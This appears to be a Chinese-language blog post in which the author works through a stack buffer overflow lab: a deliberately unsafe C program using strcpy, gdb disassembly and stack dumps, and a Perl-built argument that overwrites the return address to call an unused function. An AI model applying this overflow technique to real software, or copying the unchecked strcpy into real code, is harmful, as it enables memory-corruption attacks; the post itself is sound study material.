最近一段时间,在网上搜索关于缓冲区溢出攻击的文章,实验了一下,成功实现了缓冲区溢出攻击,现在把过程记录下来。
- #include <stdio.h>
- #include <string.h>
- void hello()
- {
- printf("hello\n");
- }
- int fun(char *str)
- {
- char buf[10];
- strcpy(buf, str);
- printf("%s\n", buf);
- return 0;
- }
- int main(int argc, char **argv)
- {
- int i=0;
- char *str;
- str=argv[1];
- fun(str);
- return 0;
- }
上面的代码,并没有调用函数hello,现在通过缓冲区溢出来调用hello函数。
代码保存为test.c,放在/root目录下。
编译test.c
gcc -g -o test test.c
gdb test
反汇编hello、fun、main这三个函数
- [root@localhost ~]# gdb test
- GNU gdb Fedora (6.8-1.fc9)
- Copyright (C) 2008 Free Software Foundation, Inc.
- License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
- This is free software: you are free to change and redistribute it.
- There is NO WARRANTY, to the extent permitted by law. Type "show copying"
- and "show warranty" for details.
- This GDB was configured as "i386-redhat-linux-gnu"...
- (gdb) disass hello
- Dump of assembler code for function hello:
- 0x080483f4 <hello+0>: push %ebp
- 0x080483f5 <hello+1>: mov %esp,%ebp
- 0x080483f7 <hello+3>: sub $0x8,%esp
- 0x080483fa <hello+6>: movl $0x8048534,(%esp)
- 0x08048401 <hello+13>: call 0x8048324 <puts@plt>
- 0x08048406 <hello+18>: leave
- 0x08048407 <hello+19>: ret
- End of assembler dump.
- (gdb) disass fun
- Dump of assembler code for function fun:
- 0x08048408 <fun+0>: push %ebp
- 0x08048409 <fun+1>: mov %esp,%ebp
- 0x0804840b <fun+3>: sub $0x18,%esp
- 0x0804840e <fun+6>: mov 0x8(%ebp),%eax
- 0x08048411 <fun+9>: mov %eax,0x4(%esp)
- 0x08048415 <fun+13>: lea -0xa(%ebp),%eax
- 0x08048418 <fun+16>: mov %eax,(%esp)
- 0x0804841b <fun+19>: call 0x8048314 <strcpy@plt>
- 0x08048420 <fun+24>: lea -0xa(%ebp),%eax
- 0x08048423 <fun+27>: mov %eax,(%esp)
- 0x08048426 <fun+30>: call 0x8048324 <puts@plt>
- 0x0804842b <fun+35>: mov $0x0,%eax
- 0x08048430 <fun+40>: leave
- 0x08048431 <fun+41>: ret
- End of assembler dump.
- (gdb) disass main
- Dump of assembler code for function main:
- 0x08048432 <main+0>: lea 0x4(%esp),%ecx
- 0x08048436 <main+4>: and $0xfffffff0,%esp
- 0x08048439 <main+7>: pushl -0x4(%ecx)
- 0x0804843c <main+10>: push %ebp
- 0x0804843d <main+11>: mov %esp,%ebp
- 0x0804843f <main+13>: push %ecx
- 0x08048440 <main+14>: sub $0x14,%esp
- 0x08048443 <main+17>: movl $0x0,-0xc(%ebp)
- 0x0804844a <main+24>: mov 0x4(%ecx),%eax
- 0x0804844d <main+27>: add $0x4,%eax
- 0x08048450 <main+30>: mov (%eax),%eax
- 0x08048452 <main+32>: mov %eax,-0x8(%ebp)
- 0x08048455 <main+35>: mov -0x8(%ebp),%eax
- 0x08048458 <main+38>: mov %eax,(%esp)
- 0x0804845b <main+41>: call 0x8048408 <fun>
- 0x08048460 <main+46>: mov $0x0,%eax
- 0x08048465 <main+51>: add $0x14,%esp
- 0x08048468 <main+54>: pop %ecx
- 0x08048469 <main+55>: pop %ebp
- 0x0804846a <main+56>: lea -0x4(%ecx),%esp
- 0x0804846d <main+59>: ret
- End of assembler dump.
- (gdb)
获得了hello函数的首地址是0x080483f4,还有main函数中调用fun函数时call的地址是0x0804845b,call的下面一条指令的地址是0x08048460,这些指令的地址都是放在寄存器EIP里的,等会缓冲区溢出的时候,我会用到0x08048460。
列出源代码:
- (gdb) l
- 9 {
- 10 char buf[10];
- 11 strcpy(buf, str);
- 12 printf("%s\n", buf);
- 13 return 0;
- 14 }
- 15
- 16 int main(int argc, char **argv)
- 17 {
- 18 int i=0;
- (gdb)
- 19 char *str;
- 20 str=argv[1];
- 21 fun(str);
- 22 return 0;
- 23 }
- (gdb)
在12、21行设置断点。
- (gdb) b 12
- Breakpoint 1 at 0x8048420: file test.c, line 12.
- (gdb) b 21
- Breakpoint 2 at 0x8048455: file test.c, line 21.
- (gdb)
现在输入AAAA来运行,并查看寄存器EBP、ESP。
- (gdb) r AAAA
- Starting program: /root/test AAAA
- Breakpoint 2, main (argc=2, argv=0xbf999114) at test.c:21
- 21 fun(str);
- Missing separate debuginfos, use: debuginfo-install glibc.i686
- (gdb) x/x $ebp
- 0xbf999078: 0xbf9990e8
- (gdb) x/8x $esp
- 0xbf999060: 0x08048034 0x08049690 0xbf999088 0x00000000
- 0xbf999070: 0xbf9998c0 0xbf999090 0xbf9990e8 0x058f95d6
- (gdb)
查看str的地址
- (gdb) p str
- $1 = 0xbf9998c0 "AAAA"
- (gdb)
单步运行,并查看寄存器
- (gdb) si
- 0x08048458 21 fun(str);
- (gdb) x/8x $esp
- 0xbf999060: 0x08048034 0x08049690 0xbf999088 0x00000000
- 0xbf999070: 0xbf9998c0 0xbf999090 0xbf9990e8 0x058f95d6
- (gdb) si
- 0x0804845b 21 fun(str);
- (gdb) x/8x $esp
- 0xbf999060: 0xbf9998c0 0x08049690 0xbf999088 0x00000000
- 0xbf999070: 0xbf9998c0 0xbf999090 0xbf9990e8 0x058f95d6
- (gdb)
看到此时参数str已经压入栈中
再次单步运行
- (gdb) si
- fun (str=0xbf9998c0 "AAAA") at test.c:9
- 9 {
- (gdb) x/8x $esp
- 0xbf99905c: 0x08048460 0xbf9998c0 0x08049690 0xbf999088
- 0xbf99906c: 0x00000000 0xbf9998c0 0xbf999090 0xbf9990e8
- (gdb)
发现main函数中的call的下面一条指令的地址0x08048460也已经压入栈中。
再次单步运行,并查看寄存器内容:
- (gdb) n
- 11 strcpy(buf, str);
- (gdb) n
- Breakpoint 1, fun (str=0xbf9998c0 "AAAA") at test.c:12
- 12 printf("%s\n", buf);
- (gdb) x/8x $esp
- 0xbf999040: 0xbf99904e 0xbf9998c0 0x00000000 0x41410000
- 0xbf999050: 0x00004141 0x08049690 0xbf999078 0x08048460
- (gdb)
已经能看到4个41了,A的ASCII码值就是41。
现在在命令行参数,多加几个A,加到14个A,看看运行到12行时,ESP中的内容。
- (gdb) r `perl -e 'print "A"x14'`
- The program being debugged has been started already.
- Start it from the beginning? (y or n) y
- Starting program: /root/test `perl -e 'print "A"x14'`
- Breakpoint 2, main (argc=2, argv=0xbffa6f24) at test.c:21
- 21 fun(str);
- (gdb) n
- Breakpoint 1, fun (str=0xbffa78b6 'A' <repeats 14 times>) at test.c:12
- 12 printf("%s\n", buf);
- (gdb) x/8x $esp
- 0xbffa6e50: 0xbffa6e5e 0xbffa78b6 0x00000000 0x41410000
- 0xbffa6e60: 0x41414141 0x41414141 0x41414141 0x08048400
- (gdb)
此时发现ESP中已经有14个A了,而buf的容量是10个字节。一个A是一个字节。而0x08048460变成了0x08048400,因为0是字符串的结尾。于是,我们只要再多加4个字节,就能覆盖0x08048460了。
- (gdb) r `perl -e 'print "A"x18'`
- The program being debugged has been started already.
- Start it from the beginning? (y or n) y
- Starting program: /root/test `perl -e 'print "A"x18'`
- Breakpoint 2, main (argc=2, argv=0xbfee6d34) at test.c:21
- 21 fun(str);
- (gdb) n
- Breakpoint 1, fun (str=0xbfee7800 "") at test.c:12
- 12 printf("%s\n", buf);
- (gdb) x/8x $esp
- 0xbfee6c60: 0xbfee6c6e 0xbfee78b2 0x00000000 0x41410000
- 0xbfee6c70: 0x41414141 0x41414141 0x41414141 0x41414141
- (gdb)
现在,0x08048400已经被完全覆盖了,都变成了41。
为了让程序进入hello函数,需要把0x08048460改为hello的首地址。
- (gdb) r `perl -e 'print "A"x14;print "\xf4\x83\x04\x08"'`
- The program being debugged has been started already.
- Start it from the beginning? (y or n) y
- Starting program: /root/test `perl -e 'print "A"x14;print "\xf4\x83\x04\x08"'`
- Breakpoint 2, main (argc=2, argv=0xbfd70414) at test.c:21
- 21 fun(str);
- (gdb) n
- Breakpoint 1, fun (str=0xbfd71800 "") at test.c:12
- 12 printf("%s\n", buf);
- (gdb) n
- AAAAAAAAAAAAAA魞
- 13 return 0;
- (gdb) n
- 14 }
- (gdb) n
- hello () at test.c:4
- 4 {
- (gdb)
现在用14个A和hello的首地址,就覆盖了0x08048460。
现在,退出gdb,直接运行,看看效果。
- (gdb) q
- The program is running. Exit anyway? (y or n) y
- [root@localhost ~]#
- [root@localhost ~]# ./test `perl -e 'print "A"x14;print "\xf4\x83\x04\x08"'`
- AAAAAAAAAAAAAA魞
- hello
- 娈甸敊璇
- [root@localhost ~]#
- [root@localhost ~]#
看,输出hello了,成功溢出。
总结,函数调用时,汇编语言里,会有call的指令,call的下面一条指令的地址,会保存到EIP和压入ESP中。我们只需要覆盖那个地址,就能进行缓冲区溢出了。
看了很多文章才看懂的,大学里学的8086汇编语言,总算还记得那么一点,看来以后要多复习了。下一步,就是学会编写shellcode。